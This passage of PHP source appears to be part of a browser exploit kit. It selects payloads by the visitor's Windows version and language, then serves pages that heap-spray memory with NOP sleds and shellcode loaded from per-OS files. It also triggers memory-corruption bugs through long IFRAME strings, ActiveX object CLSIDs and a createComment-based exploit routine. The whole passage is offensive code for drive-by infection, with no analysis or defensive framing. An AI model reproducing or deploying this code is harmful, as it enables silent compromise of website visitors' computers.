                            include( "shellcodes/ME-EN-0xBFF60000/me_sc_utf16.txt" );
                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
                        }
                        else
                        {
                            if ( $os == "Windows 98" && $Lru !== false )
                            {
                                echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow>";
                            }
                            else
                            {
                                if ( $os == "Windows 98" && $Len !== false )
                                {
                                    echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
                                    include( "shellcodes/98-EN-0xBFF70000/98_sc_utf16.txt" );
                                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                    include( "shellcodes/98-EN-0xBFF70000/98_sc_utf16.txt" );
                                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
                                    include( "shellcodes/98-EN-0xBFF70000/98_sc_utf16.txt" );
                                    echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                    include( "shellcodes/98-EN-0xBFF70000/98_sc_utf16.txt" );
                                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
                                }
                                else
                                {
                                    if ( $os == "Windows 2000" && $Lru !== false )
                                    {
                                        echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow>";
                                    }
                                    else
                                    {
                                        if ( $os == "Windows 2000" && $Len !== false )
                                        {
                                            echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
                                            include( "shellcodes/2K-EN-0x77E70000/2k_sc_utf16.txt" );
                                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                            include( "shellcodes/2K-EN-0x77E70000/2k_sc_utf16.txt" );
                                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
                                            include( "shellcodes/2K-EN-0x77E70000/2k_sc_utf16.txt" );
                                            echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                            include( "shellcodes/2K-EN-0x77E70000/2k_sc_utf16.txt" );
                                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
                                        }
                                        else
                                        {
                                            if ( $os == "Windows 2003" && $Lru !== false )
                                            {
                                                echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow>";
                                            }
                                            else
                                            {
                                                if ( $os == "Windows 2003" && $Len !== false )
                                                {
                                                    echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow>";
                                                }
                                                else
                                                {
                                                    if ( $os == "Windows XP" && $Lru !== false )
                                                    {
                                                        echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
                                                        include( "shellcodes/XP-RU-0x7C800000/xp-ru_sc_utf16.txt" );
                                                        echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                                        include( "shellcodes/XP-RU-0x7C800000/xp-ru_sc_utf16.txt" );
                                                        echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
                                                        include( "shellcodes/XP-RU-0x7C800000/xp-ru_sc_utf16.txt" );
                                                        echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                                                        include( "shellcodes/XP-RU-0x7C800000/xp-ru_sc_utf16.txt" );
                                                        echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
                                                    }
                                                    else
                                                    {
                                                        if ( $os == "Windows XP" && $Len !== false )
                                                        {
                                                            echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
